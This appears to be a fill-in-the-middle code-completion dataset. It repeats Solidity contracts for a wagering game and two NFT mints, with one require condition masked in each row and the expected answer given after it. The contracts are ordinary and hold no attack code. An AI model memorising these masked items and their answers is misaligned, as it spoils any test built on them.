function cancelGameWaiting(uint gameId) external {
}
function endGame(uint gameId, address winner) external onlyOperator {
}
function endDrawGame(uint gameId) external onlyOperator {
}
function checkGameActive(uint gameId) internal {
}
function checkGameCreated(uint gameId) internal {
require(<FILL_ME>)
require(_games[gameId].player1 == _msgSender());
require(_games[gameId].player2 == address(0));
}
function finishGame(uint gameId, address winner) internal {
}
function transferToken(address to, uint tokens) internal {
}
function setBid(uint8 bidType, uint bid) external onlyOperator {
}
}
| _games[gameId].started==0 | 234,241 | _games[gameId].started==0 |
null | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() {
}
function operator() public view returns (address) {
}
modifier onlyOperator() {
}
function isOperator() public view returns (bool) {
}
function transferOperator(address newOperator_) public onlyOwner {
}
function _transferOperator(address newOperator_) internal {
}
}
contract SZNGame is Ownable, Operator {
struct Game {
uint gameId;
address player1;
address player2;
address winner;
bool canceled;
uint bid;
uint8 bidType;
uint started;
uint finished;
}
mapping(uint8 => uint) public _gameIds;
mapping(uint => Game) public _games;
mapping(uint8 => uint) public _bids;
mapping(uint8 => uint) public _gameQueue;
mapping(address => uint) public _walletGameIds;
address public _sznAddress;
event GameCreated(uint gameId, address player1);
event GameStarted(uint gameId, address player1, address player2);
constructor(address sznAddress) {
}
function myGame() external view returns (Game memory) {
}
function connectGame(uint8 bidType) external {
}
function createGame(uint gameId, uint8 bidType) internal {
}
function startGame(uint gameId) internal {
}
function cancelGameWaiting(uint gameId) external {
}
function endGame(uint gameId, address winner) external onlyOperator {
}
function endDrawGame(uint gameId) external onlyOperator {
}
function checkGameActive(uint gameId) internal {
}
function checkGameCreated(uint gameId) internal {
require(_games[gameId].started == 0);
require(<FILL_ME>)
require(_games[gameId].player2 == address(0));
}
function finishGame(uint gameId, address winner) internal {
}
function transferToken(address to, uint tokens) internal {
}
function setBid(uint8 bidType, uint bid) external onlyOperator {
}
}
| _games[gameId].player1==_msgSender() | 234,241 | _games[gameId].player1==_msgSender() |
null | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() {
}
function operator() public view returns (address) {
}
modifier onlyOperator() {
}
function isOperator() public view returns (bool) {
}
function transferOperator(address newOperator_) public onlyOwner {
}
function _transferOperator(address newOperator_) internal {
}
}
contract SZNGame is Ownable, Operator {
struct Game {
uint gameId;
address player1;
address player2;
address winner;
bool canceled;
uint bid;
uint8 bidType;
uint started;
uint finished;
}
mapping(uint8 => uint) public _gameIds;
mapping(uint => Game) public _games;
mapping(uint8 => uint) public _bids;
mapping(uint8 => uint) public _gameQueue;
mapping(address => uint) public _walletGameIds;
address public _sznAddress;
event GameCreated(uint gameId, address player1);
event GameStarted(uint gameId, address player1, address player2);
constructor(address sznAddress) {
}
function myGame() external view returns (Game memory) {
}
function connectGame(uint8 bidType) external {
}
function createGame(uint gameId, uint8 bidType) internal {
}
function startGame(uint gameId) internal {
}
function cancelGameWaiting(uint gameId) external {
}
function endGame(uint gameId, address winner) external onlyOperator {
}
function endDrawGame(uint gameId) external onlyOperator {
}
function checkGameActive(uint gameId) internal {
}
function checkGameCreated(uint gameId) internal {
require(_games[gameId].started == 0);
require(_games[gameId].player1 == _msgSender());
require(<FILL_ME>)
}
function finishGame(uint gameId, address winner) internal {
}
function transferToken(address to, uint tokens) internal {
}
function setBid(uint8 bidType, uint bid) external onlyOperator {
}
}
| _games[gameId].player2==address(0) | 234,241 | _games[gameId].player2==address(0) |
"ApeTown - max NFT per address exceeded" | // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
pragma solidity ^0.8.0;
contract ApeTown is ERC721A, Ownable {
using Strings for uint256;
uint256 public cost = 0.01 ether;
uint256 public maxSupply = 8888;
uint256 public maxMintAmount = 20;
bool public paused = false;
string public baseURI;
mapping(address => uint256) public addressMintedBalance;
constructor(string memory _initBaseURI) ERC721A("ApeTown", "ApeTown") {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function mint(uint256 _amount) external payable {
require(!paused, "ApeTown - The Contract is Paused");
require(
totalSupply() + _amount <= maxSupply,
"ApeTown - max NFT limit exceeded"
);
if (msg.sender != owner()) {
require(
_amount <= maxMintAmount,
"ApeTown - max mint amount limit exceeded"
);
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(<FILL_ME>)
if (totalSupply() < 2000 && ownerMintedCount + _amount <= 1) {
require(
msg.value >= 0 * _amount,
"ApeTown - Only 1 NFT is free"
);
} else {
require(
msg.value >= cost * _amount,
"ApeTown - insufficient ethers"
);
}
}
_safeMint(msg.sender, _amount);
addressMintedBalance[msg.sender] += _amount;
}
//only owner
function setMaxMintAmount(uint256 _maxMintAmount) public onlyOwner {
}
function setCost(uint256 _newCost) public onlyOwner {
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function pause() public onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| ownerMintedCount+_amount<=maxMintAmount,"ApeTown - max NFT per address exceeded" | 234,355 | ownerMintedCount+_amount<=maxMintAmount |
"Minting is not active" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import {DefaultOperatorFilterer} from "./DefaultOperatorFilterer.sol";
import "./SSTORE2.sol";
import "./DynamicBuffer.sol";
import "./HelperLib.sol";
contract Indelible is ERC721A, DefaultOperatorFilterer, ReentrancyGuard, Ownable {
using HelperLib for uint;
using DynamicBuffer for bytes;
struct LinkedTraitDTO {
uint[] traitA;
uint[] traitB;
}
struct TraitDTO {
string name;
string mimetype;
bytes data;
bool hide;
bool useExistingData;
uint existingDataIndex;
}
struct Trait {
string name;
string mimetype;
bool hide;
}
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint royalties;
string royaltiesRecipient;
}
struct WithdrawRecipient {
string name;
string imageUrl;
address recipientAddress;
uint percentage;
}
mapping(uint => address[]) internal _traitDataPointers;
mapping(uint => mapping(uint => Trait)) internal _traitDetails;
mapping(uint => bool) internal _renderTokenOffChain;
mapping(uint => mapping(uint => uint[])) internal _linkedTraits;
uint[15] private PRIME_NUMBERS;
uint private constant DEVELOPER_FEE = 250; // of 10,000 = 2.5%
uint private constant NUM_LAYERS = 9;
uint private constant MAX_BATCH_MINT = 20;
uint[][NUM_LAYERS] private TIERS;
string[] private LAYER_NAMES = [unicode"Hand", unicode"Eyes", unicode"Nose", unicode"Mouth", unicode"Dick", unicode"Hat", unicode"Butt", unicode"Skin", unicode"Background"];
bool private shouldWrapSVG = true;
string private backgroundColor = "transparent";
uint private randomSeedData;
WithdrawRecipient[] public withdrawRecipients;
bool public isContractSealed;
uint public constant maxSupply = 3333;
uint public maxPerAddress = 10;
uint public publicMintPrice = 0.030 ether;
string public baseURI = "";
bool public isPublicMintActive;
bytes32 private merkleRoot = 0;
uint public allowListPrice = 0.000 ether;
uint public maxPerAllowList = 2;
bool public isAllowListActive;
ContractData public contractData = ContractData(unicode"LarvaDickbutts", unicode"Gooch Island is full of mysterious secrets... Scientists have discovered a new species of cute creatures : LarvaDickbutts. A cc0 and fully onchain collection of 3333 LarvaDickbutts, inspired by CryptoDickbutts and Larva Lads. /// Allowlist Price : FREE (Max. 2 per wallet) - Public Price : 0.03 ETH (Max. 10 per wallet) - Mint Date : 11/11", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/profile/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/banner/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "", 600, "0x75F52aEf21c1692afa9bBE897a31dB3002BAF6c3");
constructor() ERC721A(unicode"LarvaDickbutts", unicode"LDB") {
}
modifier whenMintActive() {
require(<FILL_ME>)
_;
}
modifier whenUnsealed() {
}
receive() external payable {
}
function rarityGen(uint randinput, uint rarityTier)
internal
view
returns (uint)
{
}
function entropyForExtraData() internal view returns (uint24) {
}
function stringCompare(string memory a, string memory b) internal pure returns (bool) {
}
function tokensAreDuplicates(uint tokenIdA, uint tokenIdB) public view returns (bool) {
}
function reRollDuplicate(
uint tokenIdA,
uint tokenIdB
) public whenUnsealed {
}
function _extraData(
address from,
address,
uint24 previousExtraData
) internal view virtual override returns (uint24) {
}
function getTokenSeed(uint tokenId) internal view returns (uint24) {
}
function tokenIdToHash(
uint tokenId
) public view returns (string memory) {
}
function handleMint(uint256 count, address recipient) internal whenMintActive returns (uint256) {
}
function mint(uint256 count, bytes32[] calldata merkleProof)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
function airdrop(uint256 count, address recipient)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
function isMintActive() public view returns (bool) {
}
function hashToSVG(string memory _hash)
public
view
returns (string memory)
{
}
function hashToMetadata(string memory _hash)
public
view
returns (string memory)
{
}
function onAllowList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenIdToSVG(uint tokenId)
public
view
returns (string memory)
{
}
function traitDetails(uint layerIndex, uint traitIndex)
public
view
returns (Trait memory)
{
}
function traitData(uint layerIndex, uint traitIndex)
public
view
returns (string memory)
{
}
function getLinkedTraits(uint layerIndex, uint traitIndex)
public
view
returns (uint[] memory)
{
}
function addLayer(uint layerIndex, TraitDTO[] memory traits)
public
onlyOwner
whenUnsealed
{
}
function addTrait(uint layerIndex, uint traitIndex, TraitDTO memory trait)
public
onlyOwner
whenUnsealed
{
}
function setLinkedTraits(LinkedTraitDTO[] memory linkedTraits)
public
onlyOwner
whenUnsealed
{
}
function setContractData(ContractData memory data) external onlyOwner whenUnsealed {
}
function setMaxPerAddress(uint max) external onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setBackgroundColor(string memory color) external onlyOwner whenUnsealed {
}
function setRenderOfTokenId(uint tokenId, bool renderOffChain) external {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setMaxPerAllowList(uint max) external onlyOwner {
}
function setAllowListPrice(uint price) external onlyOwner {
}
function toggleAllowListMint() external onlyOwner {
}
function toggleOperatorFilter() external onlyOwner {
}
function toggleWrapSVG() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function sealContract() external whenUnsealed onlyOwner {
}
function withdraw() external onlyOwner nonReentrant {
}
function transferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| isMintActive(),"Minting is not active" | 234,362 | isMintActive() |
"Contract is sealed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import {DefaultOperatorFilterer} from "./DefaultOperatorFilterer.sol";
import "./SSTORE2.sol";
import "./DynamicBuffer.sol";
import "./HelperLib.sol";
contract Indelible is ERC721A, DefaultOperatorFilterer, ReentrancyGuard, Ownable {
using HelperLib for uint;
using DynamicBuffer for bytes;
struct LinkedTraitDTO {
uint[] traitA;
uint[] traitB;
}
struct TraitDTO {
string name;
string mimetype;
bytes data;
bool hide;
bool useExistingData;
uint existingDataIndex;
}
struct Trait {
string name;
string mimetype;
bool hide;
}
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint royalties;
string royaltiesRecipient;
}
struct WithdrawRecipient {
string name;
string imageUrl;
address recipientAddress;
uint percentage;
}
mapping(uint => address[]) internal _traitDataPointers;
mapping(uint => mapping(uint => Trait)) internal _traitDetails;
mapping(uint => bool) internal _renderTokenOffChain;
mapping(uint => mapping(uint => uint[])) internal _linkedTraits;
uint[15] private PRIME_NUMBERS;
uint private constant DEVELOPER_FEE = 250; // of 10,000 = 2.5%
uint private constant NUM_LAYERS = 9;
uint private constant MAX_BATCH_MINT = 20;
uint[][NUM_LAYERS] private TIERS;
string[] private LAYER_NAMES = [unicode"Hand", unicode"Eyes", unicode"Nose", unicode"Mouth", unicode"Dick", unicode"Hat", unicode"Butt", unicode"Skin", unicode"Background"];
bool private shouldWrapSVG = true;
string private backgroundColor = "transparent";
uint private randomSeedData;
WithdrawRecipient[] public withdrawRecipients;
bool public isContractSealed;
uint public constant maxSupply = 3333;
uint public maxPerAddress = 10;
uint public publicMintPrice = 0.030 ether;
string public baseURI = "";
bool public isPublicMintActive;
bytes32 private merkleRoot = 0;
uint public allowListPrice = 0.000 ether;
uint public maxPerAllowList = 2;
bool public isAllowListActive;
ContractData public contractData = ContractData(unicode"LarvaDickbutts", unicode"Gooch Island is full of mysterious secrets... Scientists have discovered a new species of cute creatures : LarvaDickbutts. A cc0 and fully onchain collection of 3333 LarvaDickbutts, inspired by CryptoDickbutts and Larva Lads. /// Allowlist Price : FREE (Max. 2 per wallet) - Public Price : 0.03 ETH (Max. 10 per wallet) - Mint Date : 11/11", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/profile/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/banner/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "", 600, "0x75F52aEf21c1692afa9bBE897a31dB3002BAF6c3");
constructor() ERC721A(unicode"LarvaDickbutts", unicode"LDB") {
}
modifier whenMintActive() {
}
modifier whenUnsealed() {
require(<FILL_ME>)
_;
}
receive() external payable {
}
function rarityGen(uint randinput, uint rarityTier)
internal
view
returns (uint)
{
}
function entropyForExtraData() internal view returns (uint24) {
}
function stringCompare(string memory a, string memory b) internal pure returns (bool) {
}
function tokensAreDuplicates(uint tokenIdA, uint tokenIdB) public view returns (bool) {
}
function reRollDuplicate(
uint tokenIdA,
uint tokenIdB
) public whenUnsealed {
}
function _extraData(
address from,
address,
uint24 previousExtraData
) internal view virtual override returns (uint24) {
}
function getTokenSeed(uint tokenId) internal view returns (uint24) {
}
function tokenIdToHash(
uint tokenId
) public view returns (string memory) {
}
function handleMint(uint256 count, address recipient) internal whenMintActive returns (uint256) {
}
function mint(uint256 count, bytes32[] calldata merkleProof)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
function airdrop(uint256 count, address recipient)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
function isMintActive() public view returns (bool) {
}
function hashToSVG(string memory _hash)
public
view
returns (string memory)
{
}
function hashToMetadata(string memory _hash)
public
view
returns (string memory)
{
}
function onAllowList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenIdToSVG(uint tokenId)
public
view
returns (string memory)
{
}
function traitDetails(uint layerIndex, uint traitIndex)
public
view
returns (Trait memory)
{
}
function traitData(uint layerIndex, uint traitIndex)
public
view
returns (string memory)
{
}
function getLinkedTraits(uint layerIndex, uint traitIndex)
public
view
returns (uint[] memory)
{
}
function addLayer(uint layerIndex, TraitDTO[] memory traits)
public
onlyOwner
whenUnsealed
{
}
function addTrait(uint layerIndex, uint traitIndex, TraitDTO memory trait)
public
onlyOwner
whenUnsealed
{
}
function setLinkedTraits(LinkedTraitDTO[] memory linkedTraits)
public
onlyOwner
whenUnsealed
{
}
function setContractData(ContractData memory data) external onlyOwner whenUnsealed {
}
function setMaxPerAddress(uint max) external onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setBackgroundColor(string memory color) external onlyOwner whenUnsealed {
}
function setRenderOfTokenId(uint tokenId, bool renderOffChain) external {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setMaxPerAllowList(uint max) external onlyOwner {
}
function setAllowListPrice(uint price) external onlyOwner {
}
function toggleAllowListMint() external onlyOwner {
}
function toggleOperatorFilter() external onlyOwner {
}
function toggleWrapSVG() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function sealContract() external whenUnsealed onlyOwner {
}
function withdraw() external onlyOwner nonReentrant {
}
function transferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| !isContractSealed,"Contract is sealed" | 234,362 | !isContractSealed |
"All tokens must be duplicates" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import {DefaultOperatorFilterer} from "./DefaultOperatorFilterer.sol";
import "./SSTORE2.sol";
import "./DynamicBuffer.sol";
import "./HelperLib.sol";
contract Indelible is ERC721A, DefaultOperatorFilterer, ReentrancyGuard, Ownable {
using HelperLib for uint;
using DynamicBuffer for bytes;
struct LinkedTraitDTO {
uint[] traitA;
uint[] traitB;
}
struct TraitDTO {
string name;
string mimetype;
bytes data;
bool hide;
bool useExistingData;
uint existingDataIndex;
}
struct Trait {
string name;
string mimetype;
bool hide;
}
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint royalties;
string royaltiesRecipient;
}
struct WithdrawRecipient {
string name;
string imageUrl;
address recipientAddress;
uint percentage;
}
mapping(uint => address[]) internal _traitDataPointers;
mapping(uint => mapping(uint => Trait)) internal _traitDetails;
mapping(uint => bool) internal _renderTokenOffChain;
mapping(uint => mapping(uint => uint[])) internal _linkedTraits;
uint[15] private PRIME_NUMBERS;
uint private constant DEVELOPER_FEE = 250; // of 10,000 = 2.5%
uint private constant NUM_LAYERS = 9;
uint private constant MAX_BATCH_MINT = 20;
uint[][NUM_LAYERS] private TIERS;
string[] private LAYER_NAMES = [unicode"Hand", unicode"Eyes", unicode"Nose", unicode"Mouth", unicode"Dick", unicode"Hat", unicode"Butt", unicode"Skin", unicode"Background"];
bool private shouldWrapSVG = true;
string private backgroundColor = "transparent";
uint private randomSeedData;
WithdrawRecipient[] public withdrawRecipients;
bool public isContractSealed;
uint public constant maxSupply = 3333;
uint public maxPerAddress = 10;
uint public publicMintPrice = 0.030 ether;
string public baseURI = "";
bool public isPublicMintActive;
bytes32 private merkleRoot = 0;
uint public allowListPrice = 0.000 ether;
uint public maxPerAllowList = 2;
bool public isAllowListActive;
ContractData public contractData = ContractData(unicode"LarvaDickbutts", unicode"Gooch Island is full of mysterious secrets... Scientists have discovered a new species of cute creatures : LarvaDickbutts. A cc0 and fully onchain collection of 3333 LarvaDickbutts, inspired by CryptoDickbutts and Larva Lads. /// Allowlist Price : FREE (Max. 2 per wallet) - Public Price : 0.03 ETH (Max. 10 per wallet) - Mint Date : 11/11", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/profile/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/banner/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "", 600, "0x75F52aEf21c1692afa9bBE897a31dB3002BAF6c3");
constructor() ERC721A(unicode"LarvaDickbutts", unicode"LDB") {
}
modifier whenMintActive() {
}
modifier whenUnsealed() {
}
receive() external payable {
}
function rarityGen(uint randinput, uint rarityTier)
internal
view
returns (uint)
{
}
function entropyForExtraData() internal view returns (uint24) {
}
function stringCompare(string memory a, string memory b) internal pure returns (bool) {
}
function tokensAreDuplicates(uint tokenIdA, uint tokenIdB) public view returns (bool) {
}
function reRollDuplicate(
uint tokenIdA,
uint tokenIdB
) public whenUnsealed {
require(<FILL_ME>)
uint largerTokenId = tokenIdA > tokenIdB ? tokenIdA : tokenIdB;
if (msg.sender != owner()) {
require(msg.sender == ownerOf(largerTokenId), "Only the token owner or contract owner can re-roll");
}
_initializeOwnershipAt(largerTokenId);
if (_exists(largerTokenId + 1)) {
_initializeOwnershipAt(largerTokenId + 1);
}
_setExtraDataAt(largerTokenId, entropyForExtraData());
}
function _extraData(
address from,
address,
uint24 previousExtraData
) internal view virtual override returns (uint24) {
}
function getTokenSeed(uint tokenId) internal view returns (uint24) {
}
function tokenIdToHash(
uint tokenId
) public view returns (string memory) {
}
function handleMint(uint256 count, address recipient) internal whenMintActive returns (uint256) {
}
function mint(uint256 count, bytes32[] calldata merkleProof)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
function airdrop(uint256 count, address recipient)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
function isMintActive() public view returns (bool) {
}
function hashToSVG(string memory _hash)
public
view
returns (string memory)
{
}
function hashToMetadata(string memory _hash)
public
view
returns (string memory)
{
}
function onAllowList(address addr, bytes32[] calldata merkleProof) public view returns (bool) {
}
function tokenURI(uint tokenId)
public
view
override
returns (string memory)
{
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenIdToSVG(uint tokenId)
public
view
returns (string memory)
{
}
function traitDetails(uint layerIndex, uint traitIndex)
public
view
returns (Trait memory)
{
}
function traitData(uint layerIndex, uint traitIndex)
public
view
returns (string memory)
{
}
function getLinkedTraits(uint layerIndex, uint traitIndex)
public
view
returns (uint[] memory)
{
}
function addLayer(uint layerIndex, TraitDTO[] memory traits)
public
onlyOwner
whenUnsealed
{
}
function addTrait(uint layerIndex, uint traitIndex, TraitDTO memory trait)
public
onlyOwner
whenUnsealed
{
}
function setLinkedTraits(LinkedTraitDTO[] memory linkedTraits)
public
onlyOwner
whenUnsealed
{
}
function setContractData(ContractData memory data) external onlyOwner whenUnsealed {
}
function setMaxPerAddress(uint max) external onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setBackgroundColor(string memory color) external onlyOwner whenUnsealed {
}
function setRenderOfTokenId(uint tokenId, bool renderOffChain) external {
}
function setMerkleRoot(bytes32 newMerkleRoot) external onlyOwner {
}
function setMaxPerAllowList(uint max) external onlyOwner {
}
function setAllowListPrice(uint price) external onlyOwner {
}
function toggleAllowListMint() external onlyOwner {
}
function toggleOperatorFilter() external onlyOwner {
}
function toggleWrapSVG() external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function sealContract() external whenUnsealed onlyOwner {
}
function withdraw() external onlyOwner nonReentrant {
}
function transferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId)
public
payable
override
onlyAllowedOperator(from)
{
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| tokensAreDuplicates(tokenIdA,tokenIdB),"All tokens must be duplicates" | 234,362 | tokensAreDuplicates(tokenIdA,tokenIdB) |
"All tokens are gone" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import {DefaultOperatorFilterer} from "./DefaultOperatorFilterer.sol";
import "./SSTORE2.sol";
import "./DynamicBuffer.sol";
import "./HelperLib.sol";
contract Indelible is ERC721A, DefaultOperatorFilterer, ReentrancyGuard, Ownable {
using HelperLib for uint;
using DynamicBuffer for bytes;
struct LinkedTraitDTO {
uint[] traitA;
uint[] traitB;
}
struct TraitDTO {
string name;
string mimetype;
bytes data;
bool hide;
bool useExistingData;
uint existingDataIndex;
}
struct Trait {
string name;
string mimetype;
bool hide;
}
struct ContractData {
string name;
string description;
string image;
string banner;
string website;
uint royalties;
string royaltiesRecipient;
}
struct WithdrawRecipient {
string name;
string imageUrl;
address recipientAddress;
uint percentage;
}
mapping(uint => address[]) internal _traitDataPointers;
mapping(uint => mapping(uint => Trait)) internal _traitDetails;
mapping(uint => bool) internal _renderTokenOffChain;
mapping(uint => mapping(uint => uint[])) internal _linkedTraits;
uint[15] private PRIME_NUMBERS;
uint private constant DEVELOPER_FEE = 250; // of 10,000 = 2.5%
uint private constant NUM_LAYERS = 9;
uint private constant MAX_BATCH_MINT = 20;
uint[][NUM_LAYERS] private TIERS;
string[] private LAYER_NAMES = [unicode"Hand", unicode"Eyes", unicode"Nose", unicode"Mouth", unicode"Dick", unicode"Hat", unicode"Butt", unicode"Skin", unicode"Background"];
bool private shouldWrapSVG = true;
string private backgroundColor = "transparent";
uint private randomSeedData;
WithdrawRecipient[] public withdrawRecipients;
bool public isContractSealed;
uint public constant maxSupply = 3333;
uint public maxPerAddress = 10;
uint public publicMintPrice = 0.030 ether;
string public baseURI = "";
bool public isPublicMintActive;
bytes32 private merkleRoot = 0;
uint public allowListPrice = 0.000 ether;
uint public maxPerAllowList = 2;
bool public isAllowListActive;
ContractData public contractData = ContractData(unicode"LarvaDickbutts", unicode"Gooch Island is full of mysterious secrets... Scientists have discovered a new species of cute creatures : LarvaDickbutts. A cc0 and fully onchain collection of 3333 LarvaDickbutts, inspired by CryptoDickbutts and Larva Lads. /// Allowlist Price : FREE (Max. 2 per wallet) - Public Price : 0.03 ETH (Max. 10 per wallet) - Mint Date : 11/11", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/profile/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/banner/e22eb3b8-861f-459e-8cb1-0393fe0fc04e", "", 600, "0x75F52aEf21c1692afa9bBE897a31dB3002BAF6c3");
constructor() ERC721A(unicode"LarvaDickbutts", unicode"LDB") {
}
modifier whenMintActive() {
}
modifier whenUnsealed() {
}
receive() external payable {
}
function rarityGen(uint randinput, uint rarityTier)
internal
view
returns (uint)
{
}
function entropyForExtraData() internal view returns (uint24) {
}
function stringCompare(string memory a, string memory b) internal pure returns (bool) {
}
function tokensAreDuplicates(uint tokenIdA, uint tokenIdB) public view returns (bool) {
}
function reRollDuplicate(
uint tokenIdA,
uint tokenIdB
) public whenUnsealed {
}
function _extraData(
address from,
address,
uint24 previousExtraData
) internal view virtual override returns (uint24) {
}
function getTokenSeed(uint tokenId) internal view returns (uint24) {
}
function tokenIdToHash(
uint tokenId
) public view returns (string memory) {
}
function handleMint(uint256 count, address recipient) internal whenMintActive returns (uint256) {
uint256 totalMinted = _totalMinted();
require(count > 0, "Invalid token count");
require(<FILL_ME>)
if (isPublicMintActive) {
if (msg.sender != owner()) {
require(_numberMinted(msg.sender) + count <= maxPerAddress, "Exceeded max mints allowed");
require(count * publicMintPrice == msg.value, "Incorrect amount of ether sent");
}
require(msg.sender == tx.origin, "EOAs only");
}
uint256 batchCount = count / MAX_BATCH_MINT;
uint256 remainder = count % MAX_BATCH_MINT;
for (uint256 i = 0; i < batchCount; i++) {
_mint(recipient, MAX_BATCH_MINT);
}
if (remainder > 0) {
_mint(recipient, remainder);
}
return totalMinted;
}
function mint(uint256 count, bytes32[] calldata merkleProof)
external
payable
nonReentrant
whenMintActive
returns (uint)
{
}
